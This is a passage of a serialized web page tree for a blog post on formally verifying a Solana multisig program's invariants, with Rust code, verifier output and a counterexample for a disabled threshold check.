(self",{"type":23,"tag":504,"props":26784,"children":26785},{"style":5047},[26786],{"type":29,"value":357},{"type":23,"tag":504,"props":26788,"children":26789},{"style":5058},[26790],{"type":29,"value":23123},{"type":23,"tag":504,"props":26792,"children":26793},{"style":5047},[26794],{"type":29,"value":1678},{"type":23,"tag":504,"props":26796,"children":26797},{"style":5058},[26798],{"type":29,"value":23132},{"type":23,"tag":504,"props":26800,"children":26801},{"class":5016,"line":5203},[26802,26806,26810,26814,26818,26822,26826,26830,26834,26838,26842,26846],{"type":23,"tag":504,"props":26803,"children":26804},{"style":5047},[26805],{"type":29,"value":17668},{"type":23,"tag":504,"props":26807,"children":26808},{"style":5058},[26809],{"type":29,"value":23056},{"type":23,"tag":504,"props":26811,"children":26812},{"style":5047},[26813],{"type":29,"value":357},{"type":23,"tag":504,"props":26815,"children":26816},{"style":5058},[26817],{"type":29,"value":23123},{"type":23,"tag":504,"props":26819,"children":26820},{"style":5030},[26821],{"type":29,"value":10887},{"type":23,"tag":504,"props":26823,"children":26824},{"style":5467},[26825],{"type":29,"value":15777},{"type":23,"tag":504,"props":26827,"children":26828},{"style":5047},[26829],{"type":29,"value":10242},{"type":23,"tag":504,"props":26831,"children":26832},{"style":5058},[26833],{"type":29,"value":15843},{"type":23,"tag":504,"props":26835,"children":26836},{"style":5047},[26837],{"type":29,"value":357},{"type":23,"tag":504,"props":26839,"children":26840},{"style":5058},[26841],{"type":29,"value":23035},{"type":23,"tag":504,"props":26843,"children":26844},{"style":5047},[26845],{"type":29,"value":357},{"type":23,"tag":504,"props":26847,"children":26848},{"style":5058},[26849],{"type":29,"value":23184},{"type":23,"tag":504,"props":26851,"children":26852},{"class":5016,"line":5308},[26853],{"type":23,"tag":504,"props":26854,"children":26855},{"style":5058},[26856],{"type":29,"value":22311},{"type":23,"tag":504,"props":26858,"children":26859},{"class":5016,"line":5336},[26860,26864,26868,26872],{"type":23,"tag":504,"props":26861,"children":26862},{"style":5030},[26863],{"type":29,"value":15736},{"type":23,"tag":504,"props":26865,"children":26866},{"style":5030},[26867],{"type":29,"value":23203},{"type":23,"tag":504,"props":26869,"children":26870},{"style":5467},[26871],{"type":29,"value":23208},{"type":23,"tag":504,"props":26873,"children":26874},{"style":5058},[26875],{"type":29,"value":5333},{"type":23,"tag":504,"props":26877,"children":26878},{"class":5016,"line":5349},[26879,26883,26887,26891,26895,26899],{"type":23,"tag":504,"props":26880,"children":26881},{"style":5030},[26882],{"type":29,"value":22895},{"type":23,"tag":504,"props":26884,"children":26885},{"style":5041},[26886],{"type":29,"value":23224},{"type":23,"tag":504,"props":26888,"children":26889},{"style":5047},[26890],{"type":29,"value":6533},{"type":23,"tag":504,"props":26892,"children":26893},{"style":5467},[26894],{"type":29,"value":23082},{"type":23,"tag":504,"props":26896,"children":26897},{"style":5058},[26898],{"type":29,"value":23237},{"type":23,"tag":504,"props":26900,"children":26901},{"style":5021},[26902],{"type":29,"value":23242},{"type":23,"tag":504,"props":26904,"children":26905},{"class":5016,"line":5367},[26906,26910,26914,26918,26922,26926],{"type":23,"tag":504,"props":26907,"children":26908},{"style":5030},[26909],{"type":29,"value":22895},{"type":23,"tag":504,"props":26911,"children":26912},{"style":5041},[26913],{"type":29,"value":23254},{"type":23,"tag":504,"props":26915,"children":26916},{"style":5047},[26917],{"type":29,"value":6533},{"type":23,"tag":504,"props":26919,"children":26920},{"style":5467},[26921],{"type":29,"value":23082},{"type":23,"tag":504,"props":26923,"children":26924},{"style":5058},[26925],{"type":29,"value":23267},{"type":23,"tag":504,"props":26927,"children":26928},{"style":5021},[26929],{"type":29,"value":23272},{"type":23,"tag":504,"props":26931,"children":26932},{"class":5016,"line":5388},[26933,26937,26941,26945,26949,26953],{"type":23,"tag":504,"props":26934,"children":26935},{"style":5030},[26936],{"type":29,"value":22895},{"type":23,"tag":504,"props":26938,"children":26939},{"style":5041},[26940],{"type":29,"value":23284},{"type":23,"tag":504,"props":26942,"children":26943},{"style":5047},[26944],{"type":29,"value":6533},{"type":23,"tag":504,"props":26946,"children":26947},{"style":5467},[26948],{"type":29,"value":19598},{"type":23,"tag":504,"props":26950,"children":26951},{"style":5058},[26952],{"type":29,"value":23297},{"type":23,"tag":504,"props":26954,"children":26955},{"style":5021},[26956],{"type":29,"value":23302},{"type":23,"tag":504,"props":26958,"children":26959},{"class":5016,"line":5397},[26960,26964,26968,26972,26976,26980],{"type":23,"tag":504,"props":26961,"children":26962},{"style":5030},[26963],{"type":29,"value":22895},{"type":23,"tag":504,"props":26965,"children":26966},{"style":5041},[26967],{"type":29,"value":23314},{"type":23,"tag":504,"props":26969,"children":26970},{"style":5047},[26971],{"type":29,"value":6533},{"type":23,"tag":504,"props":26973,"children":26974},{"style":5467},[26975],{"type":29,"value":19598},{"type":23,"tag":504,"props":26977,"children":26978},{"style":5058},[26979],{"type":29,"value":23267},{"type":23,"tag":504,"props":26981,"children":26982},{"style":5021},[26983],{"type":29,"value":23331},{"type":23,"tag":504,"props":26985,"children":26986},{"class":5016,"line":5649},[26987,26991,26995,26999,27003,27007],{"type":23,"tag":504,"props":26988,"children":26989},{"style":5030},[26990],{"type":29,"value":22895},{"type":23,"tag":504,"props":26992,"children":26993},{"style":5041},[26994],{"type":29,"value":23343},{"type":23,"tag":504,"props":26996,"children":26997},{"style":5047},[26998],{"type":29,"value":6533},{"type":23,"tag":504,"props":27000,"children":27001},{"style":5467},[27002],{"type":29,"value":16680},{"type":23,"tag":504,"props":27004,"children":27005},{"style":5058},[27006],{"type":29,"value":23356},{"type":23,"tag":504,"props":27008,"children":27009},{"style":5021},[27010],{"type":29,"value":23361},{"type":23,"tag":504,"props":27012,"children":27013},{"class":5016,"line":5666},[27014,27018,27022,27026,27030,27034],{"type":23,"tag":504,"props":27015,"children":27016},{"style":5030},[27017],{"type":29,"value":22895},{"type":23,"tag":504,"props":27019,"children":27020},{"style":5041},[27021],{"type":29,"value":23373},{"type":23,"tag":504,"props":27023,"children":27024},{"style":5047},[27025],{"type":29,"value":6533},{"type":23,"tag":504,"props":27027,"children":27028},{"style":5467},[27029],{"type":29,"value":22909},{"type":23,"tag":504,"props":27031,"children":27032},{"style":5058},[27033],{"type":29,"value":23386},{"type":23,"tag":504,"props":27035,"children":27036},{"style":5021},[27037],{"type":29,"value":23391},{"type":23,"tag":504,"props":27039,"children":27040},{"class":5016,"line":5683},[27041,27045,27049,27053,27057,27061],{"type":23,"tag":504,"props":27042,"children":27043},{"style":5030},[27044],{"type":29,"value":22895},{"type":23,"tag":504,"props":27046,"children":27047},{"style":5041},[27048],{"type":29,"value":23403},{"type":23,"tag":504,"props":27050,"children":27051},{"style":5047},[27052],{"type":29,"value":6533},{"type":23,"tag":504,"props":27054,"children":27055},{"style":5467},[27056],{"type":29,"value":14096},{"type":23,"tag":504,"props":27058,"children":27059},{"style":5058},[27060],{"type":29,"value":4367},{"type":23,"tag":504,"props":27062,"children":27063},{"style":5021},[27064],{"type":29,"value":23420},{"type":23,"tag":504,"props":27066,"children":27067},{"class":5016,"line":5696},[27068,27072,27076,27080,27084,27088,27092,27096],{"type":23,"tag":504,"props":27069,"children":27070},{"style":5030},[27071],{"type":29,"value":22895},{"type":23,"tag":504,"props":27073,"children":27074},{"style":5041},[27075],{"type":29,"value":23432},{"type":23,"tag":504,"props":27077,"children":27078},{"style":5047},[27079],{"type":29,"value":6533},{"type":23,"tag":504,"props":27081,"children":27082},{"style":5467},[27083],{"type":29,"value":23441},{"type":23,"tag":504,"props":27085,"children":27086},{"style":5058},[27087],{"type":29,"value":2658},{"type":23,"tag":504,"props":27089,"children":27090},{"style":5467},[27091],{"type":29,"value":23450},{"type":23,"tag":504,"props":27093,"children":27094},{"style":5058},[27095],{"type":29,"value":23455},{"type":23,"tag":504,"props":27097,"children":27098},{"style":5021},[27099],{"type":29,"value":23460},{"type":23,"tag":504,"props":27101,"children":27102},{"class":5016,"line":5705},[27103],{"type":23,"tag":504,"props":27104,"children":27105},{"style":5058},[27106],{"type":29,"value":5965},{"type":23,"tag":32,"props":27108,"children":27109},{},[27110,27112,27117],{"type":29,"value":27111},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":23,"tag":154,"props":27113,"children":27115},{"className":27114},[],[27116],{"type":29,"value":24782},{"type":29,"value":27118}," object will be checked to ensure that the invariant still holds after modification.",{"type":23,"tag":32,"props":27120,"children":27121},{},[27122,27124,27129],{"type":29,"value":27123},"Let's try this on the ",{"type":23,"tag":154,"props":27125,"children":27127},{"className":27126},[],[27128],{"type":29,"value":24861},{"type":29,"value":27130}," instruction that we've already seen:",{"type":23,"tag":4743,"props":27132,"children":27134},{"code":27133},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[27135],{"type":23,"tag":154,"props":27136,"children":27137},{"__ignoreMap":7},[27138],{"type":29,"value":27133},{"type":23,"tag":32,"props":27140,"children":27141},{},[27142,27144,27149],{"type":29,"value":27143},"To ensure this is working, we can test by commenting out this check from ",{"type":23,"tag":154,"props":27145,"children":27147},{"className":27146},[],[27148],{"type":29,"value":24861},{"type":29,"value":6533},{"type":23,"tag":4743,"props":27151,"children":27153},{"code":27152,"language":5008,"meta":7,"className":5009,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n//     return err!(MsError::InvalidThreshold);\n// }\n",[27154],{"type":23,"tag":154,"props":27155,"children":27156},{"__ignoreMap":7},[27157,27165,27173],{"type":23,"tag":504,"props":27158,"children":27159},{"class":5016,"line":5017},[27160],{"type":23,"tag":504,"props":27161,"children":27162},{"style":5021},[27163],{"type":29,"value":27164},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":23,"tag":504,"props":27166,"children":27167},{"class":5016,"line":4868},[27168],{"type":23,"tag":504,"props":27169,"children":27170},{"style":5021},[27171],{"type":29,"value":27172},"//     return err!(MsError::InvalidThreshold);\n",{"type":23,"tag":504,"props":27174,"children":27175},{"class":5016,"line":4876},[27176],{"type":23,"tag":504,"props":27177,"children":27178},{"style":5021},[27179],{"type":29,"value":27180},"// }\n",{"type":23,"tag":32,"props":27182,"children":27183},{},[27184],{"type":29,"value":27185},"And run again:",{"type":23,"tag":4743,"props":27187,"children":27189},{"code":27188},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[27190],{"type":23,"tag":154,"props":27191,"children":27192},{"__ignoreMap":7},[27193],{"type":29,"value":27188},{"type":23,"tag":32,"props":27195,"children":27196},{},[27197],{"type":29,"value":27198},"We get the following counterexample:",{"type":23,"tag":4743,"props":27200,"children":27202},{"code":27201,"language":5008,"meta":7,"className":5009,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[27203],{"type":23,"tag":154,"props":27204,"children":27205},{"__ignoreMap":7},[27206,27217,27237,27257,27277,27297,27317,27337,27357,27377,27398,27419,27427,27435,27465],{"type":23,"tag":504,"props":27207,"children":27208},{"class":5016,"line":5017},[27209,27213],{"type":23,"tag":504,"props":27210,"children":27211},{"style":5467},[27212],{"type":29,"value":19194},{"type":23,"tag":504,"props":27214,"children":27215},{"style":5058},[27216],{"type":29,"value":5333},{"type":23,"tag":504,"props":27218,"children":27219},{"class":5016,"line":4868},[27220,27225,27229,27233],{"type":23,"tag":504,"props":27221,"children":27222},{"style":5041},[27223],{"type":29,"value":27224},"    account",{"type":23,"tag":504,"props":27226,"children":27227},{"style":5047},[27228],{"type":29,"value":6533},{"type":23,"tag":504,"props":27230,"children":27231},{"style":5467},[27232],{"type":29,"value":23208},{"type":23,"tag":504,"props":27234,"children":27235},{"style":5058},[27236],{"type":29,"value":5333},{"type":23,"tag":504,"props":27238,"children":27239},{"class":5016,"line":4876},[27240,27244,27248,27253],{"type":23,"tag":504,"props":27241,"children":27242},{"style":5041},[27243],{"type":29,"value":25878},{"type":23,"tag":504,"props":27245,"children":27246},{"style":5047},[27247],{"type":29,"value":6533},{"type":23,"tag":504,"props":27249,"children":27250},{"style":5083},[27251],{"type":29,"value":27252}," 32768",{"type":23,"tag":504,"props":27254,"children":27255},{"style":5058},[27256],{"type":29,"value":5557},{"type":23,"tag":504,"props":27258,"children":27259},{"class":5016,"line":5099},[27260,27265,27269,27273],{"type":23,"tag":504,"props":27261,"children":27262},{"style":5041},[27263],{"type":29,"value":27264},"        authority_index",{"type":23,"tag":504,"props":27266,"children":27267},{"style":5047},[27268],{"type":29,"value":6533},{"type":23,"tag":504,"props":27270,"children":27271},{"style":5083},[27272],{"type":29,"value":6565},{"type":23,"tag":504,"props":27274,"children":27275},{"style":5058},[27276],{"type":29,"value":5557},{"type":23,"tag":504,"props":27278,"children":27279},{"class":5016,"line":5203},[27280,27285,27289,27293],{"type":23,"tag":504,"props":27281,"children":27282},{"style":5041},[27283],{"type":29,"value":27284},"        transaction_index",{"type":23,"tag":504,"props":27286,"children":27287},{"style":5047},[27288],{"type":29,"value":6533},{"type":23,"tag":504,"props":27290,"children":27291},{"style":5083},[27292],{"type":29,"value":5086},{"type":23,"tag":504,"props":27294,"children":27295},{"style":5058},[27296],{"type":29,"value":5557},{"type":23,"tag":504,"props":27298,"children":27299},{"class":5016,"line":5308},[27300,27305,27309,27313],{"type":23,"tag":504,"props":27301,"children":27302},{"style":5041},[27303],{"type":29,"value":27304},"        ms_change_index",{"type":23,"tag":504,"props":27306,"children":27307},{"style":5047},[27308],{"type":29,"value":6533},{"type":23,"tag":504,"props":27310,"children":27311},{"style":5083},[27312],{"type":29,"value":5086},{"type":23,"tag":504,"props":27314,"children":27315},{"style":5058},[27316],{"type":29,"value":5557},{"type":23,"tag":504,"props":27318,"children":27319},{"class":5016,"line":5336},[27320,27325,27329,27333],{"type":23,"tag":504,"props":27321,"children":27322},{"style":5041},[27323],{"type":29,"value":27324},"        bump",{"type":23,"tag":504,"props":27326,"children":27327},{"style":5047},[27328],{"type":29,"value":6533},{"type":23,"tag":504,"props":27330,"children":27331},{"style":5083},[27332],{"type":29,"value":5086},{"type":23,"tag":504,"props":27334,"children":27335},{"style":5058},[27336],{"type":29,"value":5557},{"type":23,"tag":504,"props":27338,"children":27339},{"class":5016,"line":5349},[27340,27344,27348,27353],{"type":23,"tag":504,"props":27341,"children":27342},{"style":5041},[27343],{"type":29,"value":25891},{"type":23,"tag":504,"props":27345,"children":27346},{"style":5047},[27347],{"type":29,"value":6533},{"type":23,"tag":504,"props":27349,"children":27350},{"style":5047},[27351],{"type":29,"value":27352}," ...",{"type":23,"tag":504,"props":27354,"children":27355},{"style":5058},[27356],{"type":29,"value":5557},{"type":23,"tag":504,"props":27358,"children":27359},{"class":5016,"line":5367},[27360,27365,27369,27373],{"type":23,"tag":504,"props":27361,"children":27362},{"style":5041},[27363],{"type":29,"value":27364},"        allow_external_execute",{"type":23,"tag":504,"props":27366,"children":27367},{"style":5047},[27368],{"type":29,"value":6533},{"type":23,"tag":504,"props":27370,"children":27371},{"style":5030},[27372],{"type":29,"value":11104},{"type":23,"tag":504,"props":27374,"children":27375},{"style":5058},[27376],{"type":29,"value":5557},{"type":23,"tag":504,"props":27378,"children":27379},{"class":5016,"line":5388},[27380,27385,27389,27394],{"type":23,"tag":504,"props":27381,"children":27382},{"style":5041},[27383],{"type":29,"value":27384},"        keys",{"type":23,"tag":504,"props":27386,"children":27387},{"style":5047},[27388],{"type":29,"value":6533},{"type":23,"tag":504,"props":27390,"children":27391},{"style":5467},[27392],{"type":29,"value":27393}," SparseVec",{"type":23,"tag":504,"props":27395,"children":27396},{"style":5058},[27397],{"type":29,"value":5333},{"type":23,"tag":504,"props":27399,"children":27400},{"class":5016,"line":5397},[27401,27406,27410,27415],{"type":23,"tag":504,"props":27402,"children":27403},{"style":5041},[27404],{"type":29,"value":27405},"            size",{"type":23,"tag":504,"props":27407,"children":27408},{"style":5047},[27409],{"type":29,"value":6533},{"type":23,"tag":504,"props":27411,"children":27412},{"style":5083},[27413],{"type":29,"value":27414}," 5112",{"type":23,"tag":504,"props":27416,"children":27417},{"style":5058},[27418],{"type":29,"value":5557},{"type":23,"tag":504,"props":27420,"children":27421},{"class":5016,"line":5649},[27422],{"type":23,"tag":504,"props":27423,"children":27424},{"style":5058},[27425],{"type":29,"value":27426},"        },\n",{"type":23,"tag":504,"props":27428,"children":27429},{"class":5016,"line":5666},[27430],{"type":23,"tag":504,"props":27431,"children":27432},{"style":5058},[27433],{"type":29,"value":27434},"    },\n",{"type":23,"tag":504,"props":27436,"children":27437},{"class":5016,"line":5683},[27438,27443,27447,27452,27456,27460],{"type":23,"tag":504,"props":27439,"children":27440},{"style":5041},[27441],{"type":29,"value":27442},"    info",{"type":23,"tag":504,"props":27444,"children":27445},{"style":5047},[27446],{"type":29,"value":6533},{"type":23,"tag":504,"props":27448,"children":27449},{"style":5467},[27450],{"type":29,"value":27451}," AccountInfo",{"type":23,"tag":504,"props":27453,"children":27454},{"style":5058},[27455],{"type":29,"value":11633},{"type":23,"tag":504,"props":27457,"children":27458},{"style":5047},[27459],{"type":29,"value":853},{"type":23,"tag":504,"props":27461,"children":27462},{"style":5058},[27463],{"type":29,"value":27464}," },\n",{"type":23,"tag":504,"props":27466,"children":27467},{"class":5016,"line":5696},[27468],{"type":23,"tag":504,"props":27469,"children":27470},{"style":5058},[27471],{"type":29,"value":5965},{"type":23,"tag":32,"props":27473,"children":27474},{},[27475,27477,27482,27484,27489],{"type":29,"value":27476},"Here we see that the ",{"type":23,"tag":154,"props":27478,"children":27480},{"className":27479},[],[27481],{"type":29,"value":24790},{"type":29,"value":27483}," of the newly created ",{"type":23,"tag":154,"props":27485,"children":27487},{"className":27486},[],[27488],{"type":29,"value":24782},{"type":29,"value":27490}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":23,"tag":320,"props":27492,"children":27494},{"id":27493},"verify-requirements-to-remove-a-member",[27495],{"type":29,"value":24820},{"type":23,"tag":32,"props":27497,"children":27498},{},[27499,27501,27506,27507,27512,27514,27520],{"type":29,"value":27500},"Now that we've seen both ",{"type":23,"tag":154,"props":27502,"children":27504},{"className":27503},[],[27505],{"type":29,"value":22207},{"type":29,"value":4478},{"type":23,"tag":154,"props":27508,"children":27510},{"className":27509},[],[27511],{"type":29,"value":23820},{"type":29,"value":27513}," let's take a look at the ",{"type":23,"tag":154,"props":27515,"children":27517},{"className":27516},[],[27518],{"type":29,"value":27519},"remove_member",{"type":29,"value":27521}," function:",{"type":23,"tag":4743,"props":27523,"children":27525},{"code":27524,"language":5008,"meta":7,"className":5009,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[27526],{"type":23,"tag":154,"props":27527,"children":27528},{"__ignoreMap":7},[27529,27552,27580,27595,27640,27647,27659,27675,27687,27713,27721,27750,27757,27789,27796,27803,27877,27885,27945,27977,27984,28035,28042,28050,28143,28232,28286,28293,28338,28383],{"type":23,"tag":504,"props":27530,"children":27531},{"class":5016,"line":5017},[27532,27536,27540,27544,27548],{"type":23,"tag":504,"props":27533,"children":27534},{"style":5058},[27535],{"type":29,"value":24878},{"type":23,"tag":504,"props":27537,"children":27538},{"style":5467},[27539],{"type":29,"value":24883},{"type":23,"tag":504,"props":27541,"children":27542},{"style":5058},[27543],{"type":29,"value":4367},{"type":23,"tag":504,"props":27545,"children":27546},{"style":5467},[27547],{"type":29,"value":26763},{"type":23,"tag":504,"props":27549,"children":27550},{"style":5058},[27551],{"type":29,"value":22311},{"type":23,"tag":504,"props":27553,"children":27554},{"class":5016,"line":4868},[27555,27559,27563,27568,27572,27576],{"type":23,"tag":504,"props":27556,"children":27557},{"style":5030},[27558],{"type":29,"value":15736},{"type":23,"tag":504,"props":27560,"children":27561},{"style":5030},[27562],{"type":29,"value":23203},{"type":23,"tag":504,"props":27564,"children":27565},{"style":5467},[27566],{"type":29,"value":27567}," MsAuth",{"type":23,"tag":504,"props":27569,"children":27570},{"style":5058},[27571],{"type":29,"value":24963},{"type":23,"tag":504,"props":27573,"children":27574},{"style":5467},[27575],{"type":29,"value":24968},{"type":23,"tag":504,"props":27577,"children":27578},{"style":5058},[27579],{"type":29,"value":9325},{"type":23,"tag":504,"props":27581,"children":27582},{"class":5016,"line":4876},[27583,27587,27591],{"type":23,"tag":504,"props":27584,"children":27585},{"style":5058},[27586],{"type":29,"value":25170},{"type":23,"tag":504,"props":27588,"children":27589},{"style":5030},[27590],{"type":29,"value":5783},{"type":23,"tag":504,"props":27592,"children":27593},{"style":5058},[27594],{"type":29,"value":22311},{"type":23,"tag":504,"props":27596,"children":27597},{"class":5016,"line":5099},[27598,27603,27607,27612,27616,27620,27624,27628,27632,27636],{"type":23,"tag":504,"props":27599,"children":27600},{"style":5041},[27601],{"type":29,"value":27602},"    multisig",{"type":23,"tag":504,"props":27604,"children":27605},{"style":5047},[27606],{"type":29,"value":6533},{"type":23,"tag":504,"props":27608,"children":27609},{"style":5467},[27610],{"type":29,"value":27611}," Box",{"type":23,"tag":504,"props":27613,"children":27614},{"style":5058},[27615],{"type":29,"value":2658},{"type":23,"tag":504,"props":27617,"children":27618},{"style":5467},[27619],{"type":29,"value":19194},{"type":23,"tag":504,"props":27621,"children":27622},{"style":5058},[27623],{"type":29,"value":24963},{"type":23,"tag":504,"props":27625,"children":27626},{"style":5467},[27627],{"type":29,"value":24968},{"type":23,"tag":504,"props":27629,"children":27630},{"style":5058},[27631],{"type":29,"value":4367},{"type":23,"tag":504,"props":27633,"children":27634},{"style":5467},[27635],{"type":29,"value":24782},{"type":23,"tag":504,"props":27637,"children":27638},{"style":5058},[27639],{"type":29,"value":8995},{"type":23,"tag":504,"props":27641,"children":27642},{"class":5016,"line":5203},[27643],{"type":23,"tag":504,"props":27644,"children":27645},{"style":5058},[27646],{"type":29,"value":24980},{"type":23,"tag":504,"props":27648,"children":27649},{"class":5016,"line":5308},[27650,27655],{"type":23,"tag":504,"props":27651,"children":27652},{"style":5030},[27653],{"type":29,"value":27654},"        mut",{"type":23,"tag":504,"props":27656,"children":27657},{"style":5058},[27658],{"type":29,"value":5557},{"type":23,"tag":504,"props":27660,"children":27661},{"class":5016,"line":5336},[27662,27666,27670],{"type":23,"tag":504,"props":27663,"children":27664},{"style":5058},[27665],{"type":29,"value":25064},{"type":23,"tag":504,"props":27667,"children":27668},{"style":5047},[27669],{"type":29,"value":546},{"type":23,"tag":504,"props":27671,"children":27672},{"style":5058},[27673],{"type":29,"value":27674}," [\n",{"type":23,"tag":504,"props":27676,"children":27677},{"class":5016,"line":5349},[27678,27683],{"type":23,"tag":504,"props":27679,"children":27680},{"style":6297},[27681],{"type":29,"value":27682},"            b\"squad\"",{"type":23,"tag":504,"props":27684,"children":27685},{"style":5058},[27686],{"type":29,"value":5557},{"type":23,"tag":504,"props":27688,"children":27689},{"class":5016,"line":5367},[27690,27695,27699,27704,27708],{"type":23,"tag":504,"props":27691,"children":27692},{"style":5058},[27693],{"type":29,"value":27694},"            multisig",{"type":23,"tag":504,"props":27696,"children":27697},{"style":5047},[27698],{"type":29,"value":357},{"type":23,"tag":504,"props":27700,"children":27701},{"style":5058},[27702],{"type":29,"value":27703},"create_key",{"type":23,"tag":504,"props":27705,"children":27706},{"style":5047},[27707],{"type":29,"value":357},{"type":23,"tag":504,"props":27709,"children":27710},{"style":5058},[27711],{"type":29,"value":27712},"as_ref(),\n",{"type":23,"tag":504,"props":27714,"children":27715},{"class":5016,"line":5388},[27716],{"type":23,"tag":504,"props":27717,"children":27718},{"style":6297},[27719],{"type":29,"value":27720},"            b\"multisig\"\n",{"type":23,"tag":504,"props":27722,"children":27723},{"class":5016,"line":5397},[27724,27729,27734,27738,27742,27746],{"type":23,"tag":504,"props":27725,"children":27726},{"style":5058},[27727],{"type":29,"value":27728},"        ], ",{"type":23,"tag":504,"props":27730,"children":27731},{"style":5041},[27732],{"type":29,"value":27733},"bump",{"type":23,"tag":504,"props":27735,"children":27736},{"style":5047},[27737],{"type":29,"value":5050},{"type":23,"tag":504,"props":27739,"children":27740},{"style":5041},[27741],{"type":29,"value":25126},{"type":23,"tag":504,"props":27743,"children":27744},{"style":5047},[27745],{"type":29,"value":357},{"type":23,"tag":504,"props":27747,"children":27748},{"style":5058},[27749],{"type":29,"value":25106},{"type":23,"tag":504,"props":27751,"children":27752},{"class":5016,"line":5649},[27753],{"type":23,"tag":504,"props":27754,"children":27755},{"style":5058},[27756],{"type":29,"value":25114},{"type":23,"tag":504,"props":27758,"children":27759},{"class":5016,"line":5666},[27760,27764,27769,27773,27777,27781,27785],{"type":23,"tag":504,"props":27761,"children":27762},{"style":5030},[27763],{"type":29,"value":22895},{"type":23,"tag":504,"props":27765,"children":27766},{"style":5041},[27767],{"type":29,"value":27768}," multisig_auth",{"type":23,"tag":504,"props":27770,"children":27771},{"style":5047},[27772],{"type":29,"value":6533},{"type":23,"tag":504,"props":27774,"children":27775},{"style":5467},[27776],{"type":29,"value":25199},{"type":23,"tag":504,"props":27778,"children":27779},{"style":5058},[27780],{"type":29,"value":24963},{"type":23,"tag":504,"props":27782,"children":27783},{"style":5467},[27784],{"type":29,"value":24968},{"type":23,"tag":504,"props":27786,"children":27787},{"style":5058},[27788],{"type":29,"value":8183},{"type":23,"tag":504,"props":27790,"children":27791},{"class":5016,"line":5683},[27792],{"type":23,"tag":504,"props":27793,"children":27794},{"style":5058},[27795],{"type":29,"value":5965},{"type":23,"tag":504,"props":27797,"children":27798},{"class":5016,"line":5696},[27799],{"type":23,"tag":504,"props":27800,"children":27801},{"emptyLinePlaceholder":15},[27802],{"type":29,"value":5734},{"type":23,"tag":504,"props":27804,"children":27805},{"class":5016,"line":5705},[27806,27810,27814,27819,27823,27827,27831,27835,27839,27844,27848,27853,27857,27861,27865,27869,27873],{"type":23,"tag":504,"props":27807,"children":27808},{"style":5030},[27809],{"type":29,"value":15736},{"type":23,"tag":504,"props":27811,"children":27812},{"style":5030},[27813],{"type":29,"value":15741},{"type":23,"tag":504,"props":27815,"children":27816},{"style":5139},[27817],{"type":29,"value":27818}," remove_member",{"type":23,"tag":504,"props":27820,"children":27821},{"style":5058},[27822],{"type":29,"value":603},{"type":23,"tag":504,"props":27824,"children":27825},{"style":5041},[27826],{"type":29,"value":22333},{"type":23,"tag":504,"props":27828,"children":27829},{"style":5047},[27830],{"type":29,"value":6533},{"type":23,"tag":504,"props":27832,"children":27833},{"style":5467},[27834],{"type":29,"value":22342},{"type":23,"tag":504,"props":27836,"children":27837},{"style":5058},[27838],{"type":29,"value":2658},{"type":23,"tag":504,"props":27840,"children":27841},{"style":5467},[27842],{"type":29,"value":27843},"MsAuth",{"type":23,"tag":504,"props":27845,"children":27846},{"style":5058},[27847],{"type":29,"value":8674},{"type":23,"tag":504,"props":27849,"children":27850},{"style":5041},[27851],{"type":29,"value":27852},"old_member",{"type":23,"tag":504,"props":27854,"children":27855},{"style":5047},[27856],{"type":29,"value":6533},{"type":23,"tag":504,"props":27858,"children":27859},{"style":5467},[27860],{"type":29,"value":22909},{"type":23,"tag":504,"props":27862,"children":27863},{"style":5058},[27864],{"type":29,"value":5128},{"type":23,"tag":504,"props":27866,"children":27867},{"style":5047},[27868],{"type":29,"value":15803},{"type":23,"tag":504,"props":27870,"children":27871},{"style":5467},[27872],{"type":29,"value":15808},{"type":23,"tag":504,"props":27874,"children":27875},{"style":5058},[27876],{"type":29,"value":22384},{"type":23,"tag":504,"props":27878,"children":27879},{"class":5016,"line":5728},[27880],{"type":23,"tag":504,"props":27881,"children":27882},{"style":5021},[27883],{"type":29,"value":27884},"    // if there is only one key in this multisig, reject the removal\n",{"type":23,"tag":504,"props":27886,"children":27887},{"class":5016,"line":5737},[27888,27892,27897,27901,27905,27909,27913,27917,27921,27925,27929,27933,27937,27941],{"type":23,"tag":504,"props":27889,"children":27890},{"style":5067},[27891],{"type":29,"value":14325},{"type":23,"tag":504,"props":27893,"children":27894},{"style":5041},[27895],{"type":29,"value":27896}," 